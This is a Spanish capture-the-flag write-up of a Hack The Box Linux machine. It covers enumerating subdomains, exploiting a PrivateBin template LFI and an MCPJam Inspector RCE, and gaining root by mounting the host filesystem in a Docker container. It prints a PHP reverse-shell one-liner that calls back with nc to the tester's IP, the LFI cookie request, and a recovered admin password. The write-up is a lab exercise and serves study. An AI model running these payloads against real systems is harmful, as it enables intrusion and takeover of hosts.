El escaneo de nmap nos ha dejado alguna pista del posible servicio que puede haber detrás, con contenido en headers como /app.webmanifest o /api/app-images/favicon. Si buscamos específicamente servicios que se ejecuten en el puerto 3552 por defecto y sirvan los elementos anteriores, encontramos que es posible que se trate de Qlik Replicate, aunque tendremos que conectarnos para confirmarlo.
Si nos conectamos por Firefox, veremos una página en blanco, con el siguiente código fuente:
Tras mirar el web.manifest y descartar Qlik, vemos que efectivamente estamos ante Arcane, una plataforma de código abierto para gestionar containers Docker.
Aunque antes en Firefox nos salía una página en blanco, era porque teníamos que esperar unos segundos, si volvemos ahora:
Y vemos que se trata de la versión 1.13.0, algo retrasada respecto a la actual a la hora de escribir este writeup (1.16.4). Si buscamos la versión, encontramos varios CVE (Como el CVE-2026-23520) que afectan a las versiones anteriores a la 1.13.0. Al parecer no hay vulnerabilidades críticas para esta versión.
Si miramos la documentación de Arcane, vemos que las credenciales por defecto son arcane:arcane-admin, pero si las probamos:
Dado que las credenciales por defecto no son válidas y la versión ya no es vulnerable, tenemos que ir al dominio principal.
Si probamos a tocar cualquier cosa, vemos que no hay nada, así que enumeramos subdominios.
Nota: HTTPS
A la hora de enumerar subdominios, en estos casos en los que el puerto http solo está para redirigirnos a https, lo suyo sería enumerar subdominios usando https y no http. En este caso, si probamos a enumerar con --url http://kobold.htb en lugar de --url https://kobold.htb veremos que no se encuentra nada.
En relación al aviso anterior, si probamos lo siguiente hacia http:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ gobuster vhost --url http://kobold.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://kobold.htb
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] Append Domain: true===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 56528 / 3000001 (1.88%)
# Nada al estar unos 5 minutos buscando
Pero si probamos con https (ignorando el aviso por certificado autofirmado con -k):
Ahí están, bin.kobold.htb y mcp.kobold.htb (tras unos minutos).
Nota: Paciencia
En mi caso, antes de encontrar el primer subdominio bin.kobold.htb, asumiendo que en una máquina HTB se habría puesto un subdominio de los primeros en las wordlists, estuve a punto de parar la búsqueda y tirar por otro lado, así que paciencia.
PrivateBin is a minimalist, open source online pastebin where the server has zero knowledge of stored data. Data is encrypted/decrypted in the browser using 256 bits AES.
Además vemos que se usa la versión 2.0.2, vulnerable a CVE-2025-64714, que permite a un atacante hacer un LFI en una característica de “template-switching”.
Si buscamos archivos de Privatebin que en internet se consideran relevantes, encontramos varios:
cfg/conf.php: Config. principal, no podemos verlo
cfg/conf.sample.php: No podemos verlo
data/: Todos los pastes y comentarios se guardan aquí
bin/: Ejecutables y scripts cli.
lib/ y vendor/: librerías PHP y demás, pueden enumerarse versiones.
tpl/: Directorios de plantillas, precisamente relacionado con el CVE anterior.
Hay varias cosas que podemos solicitar, pero el resultado no cambia mucho:
Si solicitamos algo como bin.kobold.htb/<x>, se nos devuelve la página principal.
Si solicitamos algo como bin.kobold.htb/<x>/, se nos lleva a una página como esta:
Dado que se nos pide contraseña, poco más podemos hacer.
Tras buscar qué es MCP cuando se trata de un subdominio, descubro que significa Model Context Protocol, definido como:
Announced by Anthropic in November 2024, MCP is an open-source standard designed to allow LLMs to securely connect to external tools, data sources, and software systems.
Si entramos:
Se trata de MCPJam Inspector, otro programa más de código abierto que permite crear y configurar apps, hablar con LLMs, gestionar herramientas, recursos, prompts y demás.
Si vamos a la pestaña Settings, vemos que la versión instalada es la v1.4.2, y si buscamos vulnerabilidades, encontramos lo que llevamos buscando tanto rato: CVE-2026-23744, CVSS 9.8, RCE.
Tan pronto como entro, para evitar problemas con el shell y conseguir persistencia, creo un par de claves SSH aprovechando que somos un usuario normal.
1
2
3
4
5
6
7
8
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/kobold/ben_rsa
Enter passphrase for"/home/kali/kobold/ben_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/kobold/ben_rsa
Your public key has been saved in /home/kali/kobold/ben_rsa.pub
...
ben@kobold:~$ curl localhost:8080
<!DOCTYPE html>
<html lang="en" class="h-100">
...[SNIP]... # HTML de PrivateBinben@kobold:~$ curl localhost:33031
404: Page Not Found
ben@kobold:~$ curl localhost:6274
<!doctype html>
<html lang="en">
...[SNIP]... # HTML de MCPJam Inspector
tcp/8080 es Privatebin
tcp/33031 sirve HTTP pero no sabemos qué es
tcp/6274 es MCPJam Inspector
Además, al buscar encontramos el directorio /privatebin-data, del que posiblemente también podamos sacar información (aunque por la propia filosofía de diseño de Privatebin los datos están cifrados en el servidor) y /app, que al parecer corresponde a Arcane pero está vacía.
Si nos fijamos, no estamos en un solo grupo, sino que somos parte del grupo operator:
1
2
ben@kobold:/privatebin-data$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
Y si miramos los archivos que pertenecen a ese grupo:
ben@kobold:/privatebin-data$ ls -al
total 20drwxrwx--- 2 root operator 4096 Mar 15 21:23 certs
drwxr-x--- 2 root 824096 Mar 15 21:23 cfg
drwxrwxrwx 5 root operator 4096 Mar 15 21:23 data
No podemos tocar cfg, pero sí podemos abrir y editardata. Recordemos que además tenemos una vulnerabilidad de LFI:
PrivateBin versiones 1.7.7 a 2.0.2 presentan una vulnerabilidad crítica de LFI en la función de cambio de plantilla, permitiendo la lectura de archivos sensibles o la ejecución remota de código (RCE). El fallo ocurre cuando templateselection está activo, permitiendo a un atacante manipular la cookie template.
Podemos conseguir RCE, pero ahora bien, como quién se ejecuta Privatebin? Si volvemos a www-data de poco nos sirve. Dado que no tenemos permisos para usar p.ej sudo ss -ltnp 'sport = :8080' o similares, jugamos a ciegas.
Aprovechando el CVE y mirando una forma de explotarlo en una página, veo que es tan simple como esto:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ben@kobold:/privatebin-data/data$ curl localhost:8080 -b 'template=../cfg/conf' -v
# Pero...* Host localhost:8080 was resolved.
...[SNIP]...
* Connected to localhost (127.0.0.1) port 8080> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.5.0
> Accept: */*
> Cookie: template=../cfg/conf
>
< HTTP/1.1 500 Internal Server Error
< Server: nginx
...[SNIP]...
Cada vez que usamos esta vulnerabilidad, el servidor añade un sufijo .php al nombre pasado en template, por eso, al no encontrar /etc/passwd.php simplemente devuelve la página, pero al encontrar un archivo que sí existe e intentar ejecutarlo (En este caso un archivo de configuración conf.php) da error.
Si creamos un shell.php en /privatebin-data/data y luego lo usamos para el LFI:
1
2
3
4
5
6
7
8
ben@kobold:/privatebin-data/data$ cat shell.php
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.219 4444 >/tmp/f");?
# Añadimos permisosben@kobold:/privatebin-data/data$ chmod 777 shell.php
# Lo llamamos en el LFIben@kobold:/privatebin-data/data$ curl localhost:8080 -b 'template=../data/shell'
Desde un listener en escucha:
1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.14.219
[+] Listening for reverse shells on 10.10.14.219:4444
[+] Got reverse shell from 4c49dd7bb727~10.129.16.140-Linux-x86_64 😍️ Assigned SessionID <2>
[+] Shell upgraded successfully using /var/tmp/socat! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
/bin/sh: can't access tty; job control turned off
whoami
nobody
Y hemos llegado a ser nobody dentro de un sistema Alpine Linux en un container Docker, dentro de lo que cabe, tenemos algo nuevo.
En esta situación e incluso antes de entrar al container, ya había descartado explotar el LFI porque suponía que acabaríamos aquí y porque no me había servido para el foothold inicial, y veía contraintuitivo el estar “bajando de privilegios” desde la máquina principal a un container. Visto lo visto, es igual de importante subir hacia arriba que bajar hacia abajo, mientras aporte información que permita subir más alto luego. Conclusión, nunca descartar un CVE conocido, aunque parezca inútil al principio.
Lo bueno de tener acceso directo al container es que podemos buscar toda la configuración de Privatebin. Tras una búsqueda:
PrivateBin’s configuration file is located at cfg/conf.php relative to the installation’s root path.
Una vez tenemos la contraseña, podemos intuir que se reutilizará en algún sitio, y dado que Arcane es el único lugar para el que necesitamos contraseña, y para el que tenemos un user por defecto, usaremos la combinación arcane:ComplexP@sswordAdmin1928.
Nota: Reutilización de contraseñas
Aunque en este caso no sirvió, también habría que probar a hacer su alice o incluso su root con las mismas credenciales, nunca se sabe lo que puede pasar.
En definitiva, probamos las credenciales y:
Ahí encontramos 2 imágenes: privatebin, la que acabamos de visitar; y mysql. En un primer momento pienso que en mysql puede haber datos que podríamos conseguir, pero realmente es probable que simplemente sea una imagen limpia, así que buscamos otro modo.
Pasado un rato buscando cómo puede aprovecharse la situación, veo que es posible crear un container (aprovechando que docker se ejecuta como root) en el que seamos root, y montar ahí todo el sistema de archivos real, obteniendo privilegios sobre todo el sistema. El proceso sería algo así:
Crear container Docker en el que somos root usando cualquier imagen a mano.
Montar, p.ej en /mnt/host (del container) el filesystem / (del host).
Desplegar el container
Obtener shell
Arcane tiene un shell para cada container en [Containers]> (En los 3 puntos del container específico) [Inspect]>[Shell]
Así que vamos a [Containers] > [Create Container] y ahí llenamos las opciones.
Una vez configurado, lo creamos e iniciamos, luego vamos al apartado shell:
Y tenemos root (aunque en una ventana del navegador). Si por gusto queremos conseguir un shell más estable y menos limitado, podemos subir la clave pública que teníamos antes al authorized_keys de /root/.ssh:
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de (muchos) servicios y Fingerprinting indirecto de versiones (Epoch y Bundles), Explotación de LFI para RCE, Privesc mediante privilegios Sudo permisivos.